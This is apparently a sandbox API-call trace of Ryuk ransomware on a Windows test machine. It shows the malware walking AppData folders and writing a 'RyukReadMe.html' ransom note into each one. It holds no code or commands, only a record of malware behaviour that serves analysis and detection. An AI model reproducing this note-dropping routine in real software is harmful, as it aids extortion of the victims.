	[0262.878] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Ringtones\\*.*", lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf96dfdac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ee, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef970
	[0262.879] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf96dfdac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ee, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0262.879] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf96dfdac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ee, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0262.879] FindClose (in: hFindFile=0x3ef970 | out: hFindFile=0x3ef970) returned 1
	[0262.879] SetLastError (dwErrCode=0x0) 
	[0262.879] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Ringtones\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\ringtones\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74c
	[0266.008] GetLastError () returned 0x0
	[0266.008] WriteFile (in: hFile=0x74c, lpBuffer=0x13f46dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpBuffer=0x13f46dfb0*, lpNumberOfBytesWritten=0x18cc98*=0x273, lpOverlapped=0x0) returned 1
	[0266.010] CloseHandle (hObject=0x74c) returned 1
	[0266.011] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xe7138400, ftLastAccessTime.dwHighDateTime=0x1d2e625, ftLastWriteTime.dwLowDateTime=0xe7138400, ftLastWriteTime.dwHighDateTime=0x1d2e625, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="Temporary Internet Files", cAlternateFileName="TEMPOR~1")) returned 1
	[0266.011] SetLastError (dwErrCode=0x0) 
	[0266.011] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74c
	[0266.011] GetLastError () returned 0xb7
	[0266.011] CloseHandle (hObject=0x74c) returned 1
	[0266.012] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Temporary Internet Files\\*.*", lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x380000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1ee, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x0, dwReserved0=0x1ee, dwReserved1=0x0, cFileName="", cAlternateFileName="cation Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Applica杄眙")) returned 0xffffffffffffffff
	[0266.012] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0266.012] SetLastError (dwErrCode=0x0) 
	[0266.012] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Temporary Internet Files\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\temporary internet files\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0266.012] GetLastError () returned 0x3
	[0266.012] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0) returned 0
	[0266.012] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0266.012] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd8d1fc80, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0xd8d1fc80, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xd8d1fc80, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="Themes", cAlternateFileName="")) returned 1
	[0266.012] SetLastError (dwErrCode=0x0) 
	[0266.012] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74c
	[0266.013] GetLastError () returned 0xb7
	[0266.013] CloseHandle (hObject=0x74c) returned 1
	[0266.013] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Themes\\*.*", lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd8d1fc80, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0xd8d1fc80, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xd8d1fc80, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ee, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef970
	[0266.013] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd8d1fc80, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0xd8d1fc80, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xd8d1fc80, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ee, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0266.014] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd8d1fc80, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0xd8d1fc80, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xd8d6bf40, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x70a, dwReserved0=0x1ee, dwReserved1=0x0, cFileName="Custom.theme", cAlternateFileName="CUSTOM~1.THE")) returned 1
	[0266.014] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd8d1fc80, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0xd8d1fc80, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xd8d6bf40, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x70a, dwReserved0=0x1ee, dwReserved1=0x0, cFileName="Custom.theme", cAlternateFileName="CUSTOM~1.THE")) returned 0
	[0266.014] FindClose (in: hFindFile=0x3ef970 | out: hFindFile=0x3ef970) returned 1
	[0266.014] SetLastError (dwErrCode=0x0) 
	[0266.014] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Themes\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\themes\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74c
	[0266.014] GetLastError () returned 0x0
	[0266.015] WriteFile (in: hFile=0x74c, lpBuffer=0x13f46dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpBuffer=0x13f46dfb0*, lpNumberOfBytesWritten=0x18cc98*=0x273, lpOverlapped=0x0) returned 1
	[0266.016] CloseHandle (hObject=0x74c) returned 1
	[0266.017] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x28ea2560, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2c4d89a0, ftLastAccessTime.dwHighDateTime=0x1d4d597, ftLastWriteTime.dwLowDateTime=0x2c4d89a0, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x100000, dwReserved0=0x1de, dwReserved1=0x0, cFileName="UsrClass.dat", cAlternateFileName="")) returned 1
	[0266.017] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28ea2560, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2c3ce000, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x40000, dwReserved0=0x1de, dwReserved1=0x0, cFileName="UsrClass.dat.LOG1", cAlternateFileName="USRCLA~2.LOG")) returned 1
	[0266.017] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28ea2560, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9c5705f, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="UsrClass.dat.LOG2", cAlternateFileName="USRCLA~1.LOG")) returned 1
	[0266.017] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28ea2560, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x962222ec, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x1de, dwReserved1=0x0, cFileName="UsrClass.dat{0f6d7aa7-f51a-11df-ae0e-001d09f21116}.TM.blf", cAlternateFileName="USRCLA~1.BLF")) returned 1
	[0266.017] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28e7c400, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e7c400, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x961fc18b, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x1de, dwReserved1=0x0, cFileName="UsrClass.dat{0f6d7aa7-f51a-11df-ae0e-001d09f21116}.TMContainer00000000000000000001.regtrans-ms", cAlternateFileName="USRCLA~2.REG")) returned 1
	[0266.017] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28e7c400, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e7c400, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x961fc18b, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x1de, dwReserved1=0x0, cFileName="UsrClass.dat{0f6d7aa7-f51a-11df-ae0e-001d09f21116}.TMContainer00000000000000000002.regtrans-ms", cAlternateFileName="USRCLA~1.REG")) returned 1
	[0266.017] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x4d26e3cf, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="WER", cAlternateFileName="")) returned 1
	[0266.017] SetLastError (dwErrCode=0x0) 
	[0266.017] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74c
	[0266.017] GetLastError () returned 0xb7
	[0266.017] CloseHandle (hObject=0x74c) returned 1
	[0266.018] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\WER\\*.*", lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x4d26e3cf, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ee, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef970
	[0266.018] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x4d26e3cf, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ee, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0266.018] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x1b9b8e9c, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ee, dwReserved1=0x0, cFileName="ERC", cAlternateFileName="")) returned 1
	[0266.018] SetLastError (dwErrCode=0x0) 
	[0266.018] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\WER\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\wer\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x748
	[0266.019] GetLastError () returned 0x0
	[0266.019] WriteFile (in: hFile=0x748, lpBuffer=0x13f46dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpBuffer=0x13f46dfb0*, lpNumberOfBytesWritten=0x18c568*=0x273, lpOverlapped=0x0) returned 1
	[0266.998] CloseHandle (hObject=0x748) returned 1
	[0266.999] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\WER\\ERC\\*.*", lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x1b9b8e9c, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f6, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3efaf0
	[0266.999] FindNextFileW (in: hFindFile=0x3efaf0, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x1b9b8e9c, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f6, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0266.999] FindNextFileW (in: hFindFile=0x3efaf0, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x1b9b8e9c, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f6, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0266.999] FindClose (in: hFindFile=0x3efaf0 | out: hFindFile=0x3efaf0) returned 1
	[0267.000] SetLastError (dwErrCode=0x0) 
	[0267.000] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\WER\\ERC\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\wer\\erc\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x748
	[0267.001] GetLastError () returned 0x0
	[0267.001] WriteFile (in: hFile=0x748, lpBuffer=0x13f46dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpBuffer=0x13f46dfb0*, lpNumberOfBytesWritten=0x18c568*=0x273, lpOverlapped=0x0) returned 1
	[0267.002] CloseHandle (hObject=0x748) returned 1
	[0267.003] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x4d26e3cf, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ee, dwReserved1=0x0, cFileName="ReportArchive", cAlternateFileName="REPORT~1")) returned 1
	[0267.003] SetLastError (dwErrCode=0x0) 
	[0267.003] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\WER\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\wer\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x748
	[0267.003] GetLastError () returned 0xb7
	[0267.003] CloseHandle (hObject=0x748) returned 1
	[0267.004] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\WER\\ReportArchive\\*.*", lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x4d26e3cf, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f6, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3efaf0
	[0267.004] FindNextFileW (in: hFindFile=0x3efaf0, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x4d26e3cf, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f6, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0267.004] FindNextFileW (in: hFindFile=0x3efaf0, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x4d26e3cf, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f6, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0267.004] FindClose (in: hFindFile=0x3efaf0 | out: hFindFile=0x3efaf0) returned 1
	[0267.004] SetLastError (dwErrCode=0x0) 
	[0267.005] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\WER\\ReportArchive\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\wer\\reportarchive\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0267.005] GetLastError () returned 0x3
	[0267.005] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0267.005] CloseHandle (hObject=0xffffffffffffffff) returned 0
